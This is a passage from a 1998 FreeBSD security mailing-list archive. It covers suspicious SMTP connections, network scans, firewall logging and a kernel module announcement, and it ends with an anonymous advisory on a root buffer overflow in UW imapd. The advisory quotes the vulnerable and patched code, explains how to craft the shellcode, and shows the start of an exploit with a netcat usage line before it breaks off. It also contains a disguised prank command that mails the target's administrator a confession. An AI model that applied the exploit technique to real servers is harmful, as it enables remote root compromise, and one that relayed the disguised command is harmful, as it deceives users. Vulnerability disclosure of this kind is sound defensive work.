system or b) is trying to hack/break your machine > > > > That's a bit extreme: His machine is making an *outbound* SMTP connection > > to a host that doesn't appear to be answering. Could it be that someone > > has simply misaddressed some email? > > > > Use the "mailq" (or "sendmail -bp") command to see what's stuck in > > your mail queue. Let me concur and agree with the above 100%. It IS an OUTGOING SMTP connection FROM your very own host. That the destination is an RFC reserved IP address is unusual, but could be explained in any number of ways. It could be one of your legitimate SMTP users sending a message to an address (bogus address) that resolves via MX or A records in the DNS to this RFC address. Or it could be a double-bounce like many spammers use. Let me repeat what Mark Newton wrote: Use mailq and see what's stuck in your queue. You could filter this RFC address in question till you turn blue in the face and it won't change a thing since it is your host trying to initiate the connection. That's why the state is still SYN_SENT. Aaron out. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 23:29:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA26458 for freebsd-security-outgoing; Mon, 13 Jul 1998 23:29:13 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA26452 for ; Mon, 13 Jul 1998 23:29:07 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id QAA24596 for ; Tue, 14 Jul 1998 16:28:07 +1000 (EST) Message-Id: <199807140628.QAA24596@mail.aussie.org> From: "Hallam Oaks P/L list account" To: "freebsd-security@FreeBSD.ORG" Date: Tue, 14 Jul 1998 16:29:00 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: DNS zone xfers from random(?) sites Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 13 Jul 1998 09:30:39 +0100, Neil Long wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >I would be willing to bet a beer that this is a direct consequence of >the release of 'mscan' - check out www.rootshell.com or just about any >exploit site. [snip] >see what is 'on offer' and then change the default telnetd banner Fortunately I don't have telnet at all any more (SSH only) so that's not an issue. I'll look at getting mscan and seeing what it finds. As for your other suggestion, your are 100% correct (sorry I can't give you the beer :). The systems admin of the university from which the probes occurred has confirmed to me that a student has had his account suspended (and is being investigated for possible expulsion) after using this tool from his own account (!) on one of their annexes to scan a large range of hosts within .au. Thanks for your help, -- Chris Hallam Oaks P/L To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 23:41:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA27587 for freebsd-security-outgoing; Mon, 13 Jul 1998 23:41:00 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA27580 for ; Mon, 13 Jul 1998 23:40:56 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id QAA24610 for ; Tue, 14 Jul 1998 16:40:17 +1000 (EST) Message-Id: <199807140640.QAA24610@mail.aussie.org> From: "Hallam Oaks P/L list account" To: "freebsd-security@FreeBSD.ORG" Date: Tue, 14 Jul 1998 16:41:02 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Large-scale scan of SNMP ports Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yesterday I detected what appears to be a large-scale scan of the 203.36 and 203.29 networks, coming from what appears to be a host connected to a local Australian provider. The host did not respond to traceroute, even at the time that the scan was taking place, so it's presumably behind a firewall. The host in question was sending UDP packets to the SNMP port (only) of every IP address in both of the networks I have routed here, starting from higher IP's and going to lower. The reason why I suggest that it is 'large scale' is that they first scanned a subnet I have in the 203.36 network, and then some four hours later scanned every IP in my other subnet (a class C in 203.29). As they were going down in addresses within the subnets it's reasonable to assume that in that four-hour period they scanned all the intervening IP's between 203.36 and 203.29. Can anyone suggest a legitimate reason for an unknown host to send UDP packets to the SNMP ports of such an apparantly large range of systems ? regards, -- Chris Hallam Oaks P/L To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 00:42:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA02313 for freebsd-security-outgoing; Tue, 14 Jul 1998 00:42:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from exchange.sds.no (exchange.sds.no [139.105.128.207]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA02191 for ; Tue, 14 Jul 1998 00:40:32 -0700 (PDT) (envelope-from Espen.Torseth@sds.no) Received: by exchange.sds.no with Internet Mail Service (5.0.1460.8) id ; Tue, 14 Jul 1998 09:38:02 +0200 Message-ID: <81A91106E131D111BA8500608C23A6620CDFF8@nt1gj.da.posten.no> From: Espen Torseth To: freebsd-security@FreeBSD.ORG Subject: RE: Large-scale scan of SNMP ports Date: Tue, 14 Jul 1998 09:46:34 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org There is the possibility that someone has started "auto-discovery" in HP-OpenView, CA UniCenter, etc. and given the wrong net-adress/subnet-mask. This has happend before, and will happen again... Regards Espen Torseth > -----Original Message----- > From: Hallam Oaks P/L list account [SMTP:maillist@oaks.com.au] > Sent: Tuesday, July 14, 1998 8:41 AM > To: freebsd-security@FreeBSD.ORG > Subject: Large-scale scan of SNMP ports > > Yesterday I detected what appears to be a large-scale scan of the 203.36 > and > 203.29 networks, coming from what appears to be a host connected to a > local > Australian provider. The host did not respond to traceroute, even at the > time > that the scan was taking place, so it's presumably behind a firewall. > > The host in question was sending UDP packets to the SNMP port (only) of > every > IP address in both of the networks I have routed here, starting from > higher > IP's and going to lower. > > The reason why I suggest that it is 'large scale' is that they first > scanned > a subnet I have in the 203.36 network, and then some four hours later > scanned > every IP in my other subnet (a class C in 203.29). As they were going down > in > addresses within the subnets it's reasonable to assume that in that > four-hour > period they scanned all the intervening IP's between 203.36 and 203.29. > > Can anyone suggest a legitimate reason for an unknown host to send UDP > packets to the SNMP ports of such an apparantly large range of systems ? > > regards, > > -- Chris > Hallam Oaks P/L > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 02:10:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA09877 for freebsd-security-outgoing; Tue, 14 Jul 1998 02:10:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from www.scancall.no (www.scancall.no [195.139.183.5]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA09866 for ; Tue, 14 Jul 1998 02:10:42 -0700 (PDT) (envelope-from Marius.Bendiksen@scancall.no) Received: from super2.langesund.scancall.no [195.139.183.29] by www with smtp id GMHIGFKJ; Tue, 14 Jul 98 09:10:24 GMT (PowerWeb version 4.04r6) Message-Id: <3.0.5.32.19980714110655.0092c100@mail.scancall.no> X-Sender: Marius@mail.scancall.no X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Tue, 14 Jul 1998 11:06:55 +0200 To: freebsd-security@FreeBSD.ORG From: Marius Bendiksen Subject: Re: Question... In-Reply-To: <199807132340.JAA21739@frenzy.ct> References: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >That's a bit extreme: His machine is making an *outbound* SMTP connection >to a host that doesn't appear to be answering. Could it be that someone >has simply misaddressed some email? Well, various Loki derivates works like that, but that would require the system to be compromised in advance. --marius-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 06:33:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA02855 for freebsd-security-outgoing; Tue, 14 Jul 1998 06:33:06 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA02850 for ; Tue, 14 Jul 1998 06:33:03 -0700 (PDT) (envelope-from petrilli@dworkin.amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.9.0/8.9.0) with SMTP id JAA22596; Tue, 14 Jul 1998 09:32:54 -0400 (EDT) Date: Tue, 14 Jul 1998 09:32:53 -0400 (EDT) From: "Christopher G. Petrilli" To: Espen Torseth cc: freebsd-security@FreeBSD.ORG Subject: RE: Large-scale scan of SNMP ports In-Reply-To: <81A91106E131D111BA8500608C23A6620CDFF8@nt1gj.da.posten.no> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 14 Jul 1998, Espen Torseth wrote: > There is the possibility that someone has started "auto-discovery" in > HP-OpenView, > CA UniCenter, etc. and given the wrong net-adress/subnet-mask. This has > happend > before, and will happen again... Also, last time I used HPOV, by default it scanned 0.0.0.0/0, meaning EVERYTHING in the world. I know this because *I* accidentally did this... fortuately it was behind a firewall :-) But this can be a common problem, what I would recommend is that unless there's some reason, you should block all SNMP traffic at your router, in BOTH directions (to prevent yourself from succumbing to potential problems). Chris -- | Christopher Petrilli | petrilli@amber.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 06:34:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA02990 for freebsd-security-outgoing; Tue, 14 Jul 1998 06:34:31 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gw.jmrodgers.com (gw.jmrodgers.com [205.247.224.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA02983 for ; Tue, 14 Jul 1998 06:34:27 -0700 (PDT) (envelope-from meuston@jmrodgers.com) Received: from max.jmrodgers.com (max.jmrodgers.com [205.247.224.209]) by gw.jmrodgers.com (8.8.8/8.8.8) with SMTP id JAA12782; Tue, 14 Jul 1998 09:33:38 -0400 (EDT) (envelope-from meuston@jmrodgers.com) Received: by localhost with Microsoft MAPI; Tue, 14 Jul 1998 09:33:37 -0400 Message-ID: <01BDAF0A.7A41AC60.meuston@jmrodgers.com> From: Max Euston To: "'Espen Torseth'" , "freebsd-security@FreeBSD.ORG" Subject: RE: Large-scale scan of SNMP ports Date: Tue, 14 Jul 1998 09:33:35 -0400 Organization: J.M. Rodgers Co., Inc. X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tuesday, July 14, 1998 3:47 AM, Espen Torseth [SMTP:Espen.Torseth@sds.no] wrote: > There is the possibility that someone has started "auto-discovery" in > HP-OpenView, > CA UniCenter, etc. and given the wrong net-adress/subnet-mask. This has > happend > before, and will happen again... > > Regards > Espen Torseth > [snip] > > Yesterday I detected what appears to be a large-scale scan of the 203.36 > > and > > 203.29 networks, coming from what appears to be a host connected to a > > local > > Australian provider. The host did not respond to traceroute, even at the [snip] I concur. I regularly get these scans. I am almost ready to stop following up on them (I have stopped about a half dozen of them) since there seems to be no end in sight. Each time it has been HP JetAdmin software on Windows 95 machines that was configured incorrectly. You can check out http://web.mit.edu/network/hpfix/ as a starting point (it helped me solve the problem). Your best bet is to get the source's ISP to contact them (or tell you who they are) and have them (source) block it at their gateway. Max --- Max Euston To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 08:01:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA14468 for freebsd-security-outgoing; Tue, 14 Jul 1998 08:01:12 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from tyche.credo.net (tyche.credo.net [199.107.168.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA14461 for ; Tue, 14 Jul 1998 08:01:10 -0700 (PDT) (envelope-from register@clinmark.com) Received: from alectrona.credo.net (alectrona.credo.net [199.107.168.9]) by tyche.credo.net (8.9.0/8.9.0) with SMTP id IAA17500; Tue, 14 Jul 1998 08:00:37 -0700 (PDT) Message-Id: <3.0.5.32.19980714075155.0079ee60@mail.credo.net> Received: from steve.credo.net by alectrona.credo.net via smtpd (for mail.credo.net [199.107.168.8]) with SMTP; 14 Jul 1998 14:59:50 UT X-Sender: steve@mail.credo.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Tue, 14 Jul 1998 07:51:55 -0700 To: "Hallam Oaks P/L list account" From: "registration@clinmark.com" Subject: Re: Large-scale scan of SNMP ports Cc: "freebsd-security@FreeBSD.ORG" In-Reply-To: <199807140640.QAA24610@mail.aussie.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org No clue, but I've seen the same thing... Looks like an SNMP discovery routine, maybe? Steve McBride At 04:41 PM 7/14/98 +1000, Hallam Oaks P/L list account wrote: >Yesterday I detected what appears to be a large-scale scan of the 203.36 and >203.29 networks, coming from what appears to be a host connected to a local >Australian provider. The host did not respond to traceroute, even at the time >that the scan was taking place, so it's presumably behind a firewall. > >The host in question was sending UDP packets to the SNMP port (only) of every >IP address in both of the networks I have routed here, starting from higher >IP's and going to lower. > >The reason why I suggest that it is 'large scale' is that they first scanned >a subnet I have in the 203.36 network, and then some four hours later scanned >every IP in my other subnet (a class C in 203.29). As they were going down in >addresses within the subnets it's reasonable to assume that in that four-hour >period they scanned all the intervening IP's between 203.36 and 203.29. > >Can anyone suggest a legitimate reason for an unknown host to send UDP >packets to the SNMP ports of such an apparantly large range of systems ? > >regards, > >-- Chris > Hallam Oaks P/L > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe security" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 12:07:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA25691 for freebsd-security-outgoing; Tue, 14 Jul 1998 12:07:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ha1.rdc1.bc.wave.home.com (mta@ha1.rdc1.bc.wave.home.com [24.2.10.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25682 for ; Tue, 14 Jul 1998 12:07:48 -0700 (PDT) (envelope-from eingerma@wave.home.com) Received: from home.com ([24.113.42.66]) by ha1.rdc1.bc.wave.home.com (Post.Office MTA v3.5 release 217 ID# 1-1U40000L0S0V35) with ESMTP id com for ; Tue, 14 Jul 1998 12:07:41 -0700 Message-ID: <35ABAC27.E69C9B29@home.com> Date: Tue, 14 Jul 1998 12:06:15 -0700 From: Erik Reply-To: eingerma@home.com Organization: @Home Network X-Mailer: Mozilla 4.05 [en]C-AtHome0404 (Win95; U) MIME-Version: 1.0 To: freebsd-security@FreeBSD.ORG Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 20:56:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA08265 for freebsd-security-outgoing; Tue, 14 Jul 1998 20:56:21 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA08257 for ; Tue, 14 Jul 1998 20:56:17 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id NAA26061; Wed, 15 Jul 1998 13:54:59 +1000 (EST) Message-Id: <199807150354.NAA26061@mail.aussie.org> From: "Hallam Oaks P/L list account" To: " >, "Richard.Stanaford" " Date: Wed, 15 Jul 1998 13:54:56 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: Large-scale scan of SNMP ports Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Hi.. I am just curious... how did you know your IP's were scanned? I am >building a production FreeBSD box, intending it to be an IRC server, and By default, I deny everything via IPFW. The only stuff I allow is the few services I want to expose. The rules that get the most hits (such as accesses to the NetBIOS ports) I deny without logging. All other disallowed accesses are denied with logging. So, since the console sits next to me, when I get accesses of this sort, the screensaver clicks off and the report comes up on the console (meaning I notice it straight away if I happen to be at my desk), plus of course it goes to the syslog. If you're planning any sort of public server I really recommend you spend time working on your rc.firewall. It can be time consuming to set up nicely (particularly if you're using the same machine as a gateway for an internal LAN, as I am) but it's well worth the time spent. -- Chris Hallams Oaks P/L To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Jul 14 21:41:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA14506 for freebsd-security-outgoing; Tue, 14 Jul 1998 21:41:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14501 for ; Tue, 14 Jul 1998 21:41:24 -0700 (PDT) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.7/8.8.7) with SMTP id QAA01161; Wed, 15 Jul 1998 16:40:15 +1200 (NZST) (envelope-from andrew@squiz.co.nz) Date: Wed, 15 Jul 1998 16:40:15 +1200 (NZST) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Hallam Oaks P/L list account cc: " >" Subject: Re: Large-scale scan of SNMP ports In-Reply-To: <199807140640.QAA24610@mail.aussie.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I can confirm that it's large scale. I saw this on my machine in the 203.96 network. I saw another suspicious SNMP packet arrive a week or two ago also. On Tue, 14 Jul 1998, Hallam Oaks P/L list account wrote: > Yesterday I detected what appears to be a large-scale scan of the 203.36 and > 203.29 networks, coming from what appears to be a host connected to a local > Australian provider. The host did not respond to traceroute, even at the time > that the scan was taking place, so it's presumably behind a firewall. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Jul 15 16:55:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA07668 for freebsd-security-outgoing; Wed, 15 Jul 1998 16:55:55 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@COPLAND.CODA.CS.CMU.EDU [128.2.222.48]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA07650; Wed, 15 Jul 1998 16:55:52 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id TAA17006; Wed, 15 Jul 1998 19:55:44 -0400 (EDT) Date: Wed, 15 Jul 1998 19:55:43 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-security@FreeBSD.ORG cc: freebsd-hackers@FreeBSD.ORG Subject: Announcement: 0.2 Release: Experimental Authentication and Authorization Token Management Extensions in the FreeBSD Kernel Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is the release announcement for ktokens-0.2, now available for download from http://www.watson.org/fbsd-hardening/tokens/ Announcements of future versions will be made only to the FreeBSD Security mailing list (freebsd-security@freebsd.org) and not freebsd-hackers. If there is sufficient interest from parties not subscribed to freebsd-security, I will set up an announcement mailing list for ktokens. New Features since 0.1 ---------------------- - Mod unload garbage collection now works - Bug fixes - Rudimentary TOKEND behavior implemented - KerberosIV patches to use Tokens/PAGs - Setuidtoken implemented as sample syscall access control behavior - More extensive user test utilities - Makefiles improved -- make install added (What follows is the same as the 0.1 announcement) Experimental Authentication and Authorization Token Management Extensions in the FreeBSD Kernel Robert Watson Abstract FreeBSD, a derivative of the 4.4BSDlite research operating system developed at the University of California at Berkeley, is used in a variety of networked and stand-alone computing environments. FreeBSD makes use of a simple yet flexible user-based authorization model following the UNIX example. However, this model is not scalable across large computing infrastructures with multiple administrative domains, and the model does not interact well with the differing paradigms supported by a variety of network operating systems. This document proposes a set of extensions to the FreeBSD kernel providing both authentication and authorization "tokens", allowing greater flexibility in supporting a variety of authentication and authorization models. Tokens are the kernel's representation of a fragment of data relating to the capabilities and keying material associated with a set of processes, or Process Authentication Group (PAG). A sample implementation of a subset of the described token behavior via a loadable kernel module available for download, along with a set of utilities for experimenting with the token behavior. Expansion on the implementation to provide additional features and sample uses will be forthcoming. URL: http://www.watson.org/fbsd-hardening/tokens/ Email: robert+sec.ktokens@cyrus.watson.org The freebsd-security@freebsd.org mailing list is also an appropriate place to discuss the issues involved. Robert N Watson Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Jul 16 15:06:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA27425 for freebsd-security-outgoing; Thu, 16 Jul 1998 15:06:31 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from basement.replay.com (basement.replay.com [194.109.9.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA27413 for ; Thu, 16 Jul 1998 15:06:27 -0700 (PDT) (envelope-from remailer@basement.replay.com) Received: (from remailer@localhost) by basement.replay.com (8.8.7/RePlay, Inc.) id AAA30072; Fri, 17 Jul 1998 00:06:30 +0200 Date: Fri, 17 Jul 1998 00:06:30 +0200 Message-Id: <199807162206.AAA30072@basement.replay.com> From: Anonymous Comments: This message did not originate from the Sender address above. It was remailed automatically by anonymizing remailer software. Please report problems or inappropriate use to the remailer administrator at . Subject: EMERGENCY: new remote root exploit in UW imapd To: bugtraq@netspace.org, cert@cert.org, freebsd-security@FreeBSD.ORG, security@bsdi.com Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org INTRODUCTION On July 10, 1998 a message was posted to the University of Washington Pine mailing lists about a security problem in the UW imapd server released with Pine 4.00, viewable at: http://www.washington.edu/pine/pine-info/1998.07/msg00062.html Out of curiosity, I decided to do some source code diffs to see what changed between the patched and unpatched versions of imapd. Sure enough, there was a *major* security hole. The message from the Pine developers failed, however, to underscore the severity of the hole hence this security advisory. TECHNICAL DETAILS This recent hole is similar in nature to the older hole described in CERT Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon which the CERT advisory is based, but this is an all new hole and is *not* covered by the fixes presented in these advisories. The full text of each previous advisory can be found at: http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html http://www.cert.org/advisories/CA-97.09.imap_pop.html The previous IMAP server hole involved a stack buffer overflow condition in the processing of the IMAP LOGIN command in which arbitrary machine code can be executed by carefully crafting an overly long user name. This time the affected command is the IMAP AUTHENTICATE command, which takes one argument specifying the authentication mechanism. When a carefully crafted mechanism name that exceeds the size of a special stack buffer is presented to the IMAP server, the saved instruction pointer on the stack is overwritten with a altered value that can result in the execution of arbitrary machine code, due to coding errors in the IMAP server. The following source code discussion pertains to imapd 10.234 as distributed with Pine 4.00. The problem code appears in the mail_auth() routine in mail.c of the IMAP server source code distribution, which reads: char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) { char tmp[MAILTMPLEN]; AUTHENTICATOR *auth; /* make upper case copy of mechanism name */ ucase (strcpy (tmp,mechanism)); for (auth = mailauthenticators; auth; auth = auth->next) if (auth->server && !strcmp (auth->name,tmp)) return (*auth->server) (resp,argc,argv); return NIL; /* no authenticator found */ } The problem lies in the strcpy() call that copies the contents of mechanism to tmp which resides on the stack as an automatic variable. The tmp buffer is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h. However, the command string read from the client by the server is placed into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in imapd.c, thus allowing the passing of arguments to mail_auth() that greatly exceed the size of its temporary buffer. Since the IMAP server has not yet given up its root privileges at this stage of the login process, this programming oversight can be exploited to yield root compromise on the IMAP server machine. Crafting machine code to take over the IMAP server through the AUTHENTICATE command buffer overflow presents technical challenges because the buffer contents are passed through ucase() which transforms all lowercase characters to uppercase, so the exploit machine code, which typically spawns a shell, must be impervious to mangling by toupper(). The "standard" i386 BSD exploit code, however, proves to be exceptionally resilient and actually the only necessary modification proves to be protecting the lowercase characters in the string "/bin/sh" which requires only trivial modifications. Recent versions of imapd also include checks in parse_astring() in imapd.c to reject characters with the high bit (eighth bit) set, so malicious exploit code (which often contains characters greater than 0x7f and non-letter characters) must be smuggled in as a string literal argument to the AUTHENTICATE command, which proves to be only a minor difficulty. IMPACT Any remote individual with malicious intentions may gain root access to the machine running a vulnerable version of imapd, with no knowledge of any valid local usernames or passwords. As such, this matter should be treated with the utmost of seriousness. VULNERABLE SYSTEMS Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1 server up through version 10.234 distributed as part of the Pine 4.00 distribution are vulnerable. Versions as old as 10.191 have been analyzed and found to be vulnerable, and it is believed that earlier versions are likely vulnerable, as well. It may be safe to assume that all versions of imapd (previous to and including the version distributed with Pine 4.00) that support the IMAP AUTHENTICATE command are vulnerable. At the present time it is not known if any UW imapd IMAP2bis servers are vulnerable to this specific hole, but they are likely vulnerable to the older LOGIN hole described in the advisories referenced above. FIX INFORMATION As a temporary emergency measure, it is recommended that all sites running vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf until it is possible to upgrade to a patched version of the server. The University of Washington is currently distributing a separate version of imapd (confusingly, also numbered 10.234) outside of the Pine distribution that addresses the overflow in mail_auth(). The patched code reads: char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) { char tmp[MAILTMPLEN]; AUTHENTICATOR *auth; /* cretins still haven't given up */ if (strlen (mechanism) >= MAILTMPLEN) syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s", tcp_clienthost ()); else { /* make upper case copy of mechanism name */ ucase (strcpy (tmp,mechanism)); for (auth = mailauthenticators; auth; auth = auth->next) if (auth->server && !strcmp (auth->name,tmp)) return (*auth->server) (resp,argc,argv); } return NIL; /* no authenticator found */ } This patched version of imapd may be obtained at: ftp://ftp.cac.washington.edu/mail/imap.tar.Z COMMENTARY In some ways, it is depressing to find this new hole. Programmers are still making the same mistakes they have made for years. Doesn't anyone learn from the past? Can strcpy() ever be used safely? Perhaps the software development community, and certainly those writing network service daemons that run as root, should discontinue using *any* C library functions that do not include bounds checking information, such as sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the potential for misuse is too great. When will we learn? When? I'll end my diatribe here. EXPLOIT INFORMATION What good is a security advisory without exploit information? The following code exercises the buffer overflow condition on platforms running i386 versions of BSD UNIX, such as FreeBSD or BSDI. I cannot be held responsible for the consequences of releasing this code nor can I be held responsible for results of its application. I am releasing this code to be used for ethical purposes in diagnosing and testing the associated vulnerability. Do not use this code to break into systems against the wishes of their owners. In short, be good, kids. Okay? Oh, one other thing. If you're trying to use this code and it doesn't seem to be working, type the following command at your UNIX prompt: echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname where "hostname" should be replaced with the hostname of the machine running the IMAP server. Make sure you type it exactly as listed, since every character counts. Once you've done that, try the exploit code again and it should work. Yours truly, Cheez Whiz cheezbeast@hotmail.com imappy.c ----- cut here ----- cut here ----- cut here ----- cut here ----- /** *** i386 BSD remote root exploit for UW imapd IMAP 4.1 server *** *** This is *not* the same bug addressed in CERT Advisory CA-97.09! *** *** Usage: % (imappy nop esp offset; cat) | nc hostname 